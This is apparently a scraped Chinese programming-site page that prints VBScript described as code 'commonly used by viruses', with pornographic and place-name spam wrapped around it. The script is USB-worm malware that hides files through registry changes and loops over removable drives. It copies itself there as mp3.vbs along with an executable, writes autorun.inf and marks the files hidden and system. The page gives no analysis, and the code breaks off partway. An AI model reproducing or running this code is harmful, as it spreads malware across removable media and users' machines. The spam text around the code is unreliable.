国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

一段病毒常用的VBS代碼

2019-10-26 18:03:16
字體:
來源:轉載
供稿:網友
復制代碼 代碼如下:

On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不顯示隱藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"/mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夾改名
If fso.FolderExists(dri.Path&"/autorun.inf") Then
fso.MoveFolder dri.Path&"/autorun.inf",dri.Path&"/Rubbish"
End If
'復制自身及exe文件到移動硬盤
If fso.FileExists(dri.Path&"/mp3.vbs") And fso.FileExists(dri.Path&"/autorun.inf") Then
Else
If fso.FileExists(dri.Path&"/mp3.vbs") Then
fso.DeleteFile dri.Path&"/mp3.vbs",True
ElseIf fso.FileExists(dri.Path&"/autorun.inf") Then
fso.DeleteFile dri.Path&"/autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"/mp3.vbs",True
If fso.FileExists("./SiZhu.exe") And Not fso.FileExists(dri.Path&"/SiZhu.exe") Then
fso.CopyFile "./SiZhu.exe",dri.Path&"/SiZhu.exe",True
End If
autoinf(dri.Path)
'給剛復制的文件加上隱藏屬性
Set norkon=fso.GetFile(dri.Path&"/mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"/mp3.vbs",0
Set norkon=Nothing

您可能感興趣的文章:

linux服務器被植入ddgs、qW3xT.2挖礦病毒的處理實戰記錄通過批處理關閉135 137 445等端口的實現代碼(勒索病毒)對一個vbs腳本病毒的病毒原理分析php網頁病毒清除類VC實現的病毒專殺工具完整實例利用DOS命令來對抗U盤病毒保護U盤數據自制殺u盤病毒的批處理代碼c病毒程序原理分析(防范病毒 c語言小病毒示例)解析:清除SQL被注入惡意病毒代碼的語句Autorun 病毒清除工具bat代碼VBS.Runauto腳本病毒分析篇記事本U盤病毒 Notepad.exe查殺方法美女游戲病毒iwbkvd.exe查殺方法批處理 Autorun 病毒清除工具Rootkit病毒的解決辦法
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表

圖片精選

主站蜘蛛池模板: 碌曲县| 左贡县| 通河县| 毕节市| 买车| 如东县| 南康市| 余干县| 于都县| 清苑县| 马尔康县| 会东县| 宿松县| 皋兰县| 铜山县| 周口市| 镇远县| 岚皋县| 台湾省| 酒泉市| 海晏县| 平江县| 顺昌县| 常州市| 汶川县| 武宁县| 呼伦贝尔市| 溧阳市| 南宁市| 寿阳县| 东源县| 石景山区| 贡觉县| 嵩明县| 昭苏县| 台南县| 平原县| 乌恰县| 长岛县| 化州市| 盐源县|